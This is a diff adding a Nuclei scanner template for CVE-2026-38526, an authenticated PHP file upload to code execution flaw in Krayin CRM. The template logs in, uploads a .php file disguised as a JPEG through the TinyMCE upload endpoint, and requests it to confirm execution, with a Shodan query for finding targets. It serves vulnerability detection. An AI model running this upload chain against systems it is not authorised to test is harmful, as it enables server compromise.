Update CVE-2026-38526.yaml

http/cves/2026/CVE-2026-38526.yaml

@@ -0,0 +1,122 @@
+id: CVE-2026-38526
+
+info:
+  name: Krayin CRM ≤ 2.2.x - Remote Code Execution
+  author: pussycat0x
+  severity: critical
+  description: |
+    Webkul Krayin CRM v2.2.x contains an arbitrary file upload vulnerability caused by insufficient validation in /admin/tinymce/upload endpoint, letting authenticated attackers execute arbitrary code via crafted PHP files.
+  impact: |
+    Authenticated attackers can execute arbitrary code on the server, potentially leading to full system compromise.
+  remediation: |
+    Update to the latest version that patches this vulnerability.
+  reference:
+    - https://github.com/TREXNEGRO/Security-Advisories/blob/main/CVE-2026-38526/poc.md
+    - https://github.com/krayin/laravel-crm
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 8.8
+    cve-id: CVE-2026-38526
+    cwe-id: CWE-434
+  metadata:
+    verified: true
+    max-request: 4
+    vendor: krayin
+    product: laravel-crm
+    shodan-query: http.title:"Krayin"
+  tags: cve,cve2026,krayin,fileupload,intrusive,authenticated
+
+variables:
+  email: "{{username}}"
+  pass: "{{password}}"
+
+flow: http(1) && http(2) && http(3) && http(4)
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/admin/login"
+
+    matchers:
+      - type: dsl
+        dsl:
+          - status_code == 200
+          - contains(body, "Krayin")
+        condition: and
+        internal: true
+
+    extractors:
+      - type: regex
+        name: csrf_token
+        regex:
+          - 'name="_token"\s+value="([^"]+)"'
+        group: 1
+        internal: true
+
+  - method: POST
+    path:
+      - "{{BaseURL}}/admin/login"
+
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+
+    body: "_token={{csrf_token}}&email={{email}}&password={{pass}}"
+
+    redirects: true
+    max-redirects: 3
+
+    extractors:
+      - type: regex
+        name: auth_token
+        regex:
+          - 'name="_token"\s+value="([^"]+)"'
+        group: 1
+        internal: true
+
+    matchers:
+      - type: word
+        words:
+          - "Dashboard"
+        internal: true
+
+  - raw:
+      - |
+        POST /admin/tinymce/upload HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: multipart/form-data; boundary=----NucleiFormBoundary
+
+        ------NucleiFormBoundary
+        Content-Disposition: form-data; name="_token"
+
+        {{auth_token}}
+        ------NucleiFormBoundary
+        Content-Disposition: form-data; name="file"; filename="{{randstr}}.php"
+        Content-Type: image/jpeg
+
+        <?php echo md5("{{randstr}}"); ?>
+        ------NucleiFormBoundary--
+
+    matchers:
+      - type: word
+        words:
+          - '"location":'
+        internal: true
+
+    extractors:
+      - type: regex
+        name: upload_file
+        regex:
+          - '([a-f0-9]{32}\.php)'
+        group: 1
+        internal: true
+
+  - method: GET
+    path:
+      - "{{BaseURL}}/storage/tinymce/{{upload_file}}"
+
+    matchers:
+      - type: dsl
+        dsl:
+          - status_code == 200
+          - contains(body, "{{randstr}}")
+        condition: and